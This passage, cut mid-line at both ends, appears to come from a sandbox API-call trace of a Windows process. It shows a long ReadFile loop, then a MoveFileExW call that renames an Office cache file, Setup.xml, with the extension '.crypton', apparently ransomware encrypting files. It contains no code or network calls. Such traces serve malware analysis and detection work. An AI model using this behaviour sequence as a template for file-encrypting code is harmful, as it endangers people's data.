nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x28e, lpOverlapped=0x0) returned 1 [0069.063] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x286, lpOverlapped=0x0) returned 1 [0069.063] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x27e, lpOverlapped=0x0) returned 1 [0069.063] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x276, lpOverlapped=0x0) returned 1 [0069.063] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x26e, lpOverlapped=0x0) returned 1 [0069.063] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x266, lpOverlapped=0x0) returned 1 [0069.063] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x25e, lpOverlapped=0x0) returned 1 [0069.063] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x256, lpOverlapped=0x0) returned 1 [0069.064] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x24e, lpOverlapped=0x0) returned 1 [0069.064] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x246, lpOverlapped=0x0) returned 1 [0069.064] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x23e, lpOverlapped=0x0) returned 1 [0069.064] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x236, lpOverlapped=0x0) returned 1 [0069.064] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x22e, lpOverlapped=0x0) returned 1 [0069.064] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x226, lpOverlapped=0x0) returned 1 [0069.064] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x21e, lpOverlapped=0x0) returned 1 [0069.064] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x216, lpOverlapped=0x0) returned 1 [0069.064] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x20e, lpOverlapped=0x0) returned 1 [0069.064] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x206, lpOverlapped=0x0) returned 1 [0069.064] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1fe, lpOverlapped=0x0) returned 1 [0069.064] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1f6, lpOverlapped=0x0) returned 1 [0069.064] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1ee, lpOverlapped=0x0) returned 1 [0069.064] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1e6, lpOverlapped=0x0) returned 1 [0069.064] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1de, lpOverlapped=0x0) returned 1 [0069.065] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1d6, lpOverlapped=0x0) returned 1 [0069.065] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1ce, lpOverlapped=0x0) returned 1 [0069.065] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1c6, lpOverlapped=0x0) returned 1 [0069.065] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1be, lpOverlapped=0x0) returned 1 [0069.065] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1b6, lpOverlapped=0x0) returned 1 [0069.065] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1ae, lpOverlapped=0x0) returned 1 [0069.065] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1a6, lpOverlapped=0x0) returned 1 [0069.065] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x19e, lpOverlapped=0x0) returned 1 [0069.065] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x196, lpOverlapped=0x0) returned 1 [0069.065] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x18e, lpOverlapped=0x0) returned 1 [0069.065] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x186, lpOverlapped=0x0) returned 1 [0069.065] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x17e, lpOverlapped=0x0) returned 1 [0069.065] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x176, lpOverlapped=0x0) returned 1 [0069.065] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x16e, lpOverlapped=0x0) returned 1 [0069.066] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x166, lpOverlapped=0x0) returned 1 [0069.066] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x15e, lpOverlapped=0x0) returned 1 [0069.066] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x156, lpOverlapped=0x0) returned 1 [0069.066] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x14e, lpOverlapped=0x0) returned 1 [0069.066] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x146, lpOverlapped=0x0) returned 1 [0069.066] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x13e, lpOverlapped=0x0) returned 1 [0069.066] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x136, lpOverlapped=0x0) returned 1 [0069.066] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x12e, lpOverlapped=0x0) returned 1 [0069.066] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x126, lpOverlapped=0x0) returned 1 [0069.066] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x11e, lpOverlapped=0x0) returned 1 [0069.066] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x116, lpOverlapped=0x0) returned 1 [0069.066] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x10e, lpOverlapped=0x0) returned 1 [0069.066] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x106, lpOverlapped=0x0) returned 1 [0069.066] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xfe, lpOverlapped=0x0) returned 1 [0069.066] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xf6, lpOverlapped=0x0) returned 1 [0069.067] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xee, lpOverlapped=0x0) returned 1 [0069.067] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xe6, lpOverlapped=0x0) returned 1 [0069.067] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xde, lpOverlapped=0x0) returned 1 [0069.067] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xd6, lpOverlapped=0x0) returned 1 [0069.067] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xce, lpOverlapped=0x0) returned 1 [0069.067] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xc6, lpOverlapped=0x0) returned 1 [0069.067] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xbe, lpOverlapped=0x0) returned 1 [0069.067] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xb6, lpOverlapped=0x0) returned 1 [0069.067] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xae, lpOverlapped=0x0) returned 1 [0069.067] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xa6, lpOverlapped=0x0) returned 1 [0069.067] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x9e, lpOverlapped=0x0) returned 1 [0069.067] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x96, lpOverlapped=0x0) returned 1 [0069.067] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x8e, lpOverlapped=0x0) returned 1 [0069.067] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x86, lpOverlapped=0x0) returned 1 [0069.067] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x7e, lpOverlapped=0x0) returned 1 [0069.068] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x76, lpOverlapped=0x0) returned 1 [0069.068] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x6e, lpOverlapped=0x0) returned 1 [0069.068] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x66, lpOverlapped=0x0) returned 1 [0069.068] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5e, lpOverlapped=0x0) returned 1 [0069.068] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x56, lpOverlapped=0x0) returned 1 [0069.068] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4e, lpOverlapped=0x0) returned 1 [0069.068] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x46, lpOverlapped=0x0) returned 1 [0069.068] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3e, lpOverlapped=0x0) returned 1 [0069.068] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x36, lpOverlapped=0x0) returned 1 [0069.068] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2e, lpOverlapped=0x0) returned 1 [0069.068] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x26, lpOverlapped=0x0) returned 1 [0069.068] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1e, lpOverlapped=0x0) returned 1 [0069.068] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x16, lpOverlapped=0x0) returned 1 [0069.068] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xe, lpOverlapped=0x0) returned 1 [0069.069] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x6, lpOverlapped=0x0) returned 1 [0069.069] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x0, lpOverlapped=0x0) returned 1 [0069.069] AreFileApisANSI () returned 1 [0069.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.069] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x94) returned 0x536b88 [0069.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=74 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 74 [0069.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0069.069] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa4) returned 0x54a680 [0069.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x54a680, cchWideChar=82 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.crypton") returned 82 [0069.069] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0069.069] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0069.069] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0069.070] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0069.070] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0069.070] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533de0 | out: hHeap=0x510000) returned 1 [0069.070] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533d90 | out: hHeap=0x510000) returned 1 [0069.070] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0069.070] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0069.070] AreFileApisANSI () returned 1 [0069.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.070] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x94) returned 0x536b88 [0069.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=74 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 74 [0069.070] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0069.070] GetLastError () returned 0x2 [0069.070] AreFileApisANSI () returned 1 [0069.070] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0069.070] GetLastError () returned 0x2 [0069.070] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0069.070] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0069.070] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2011, 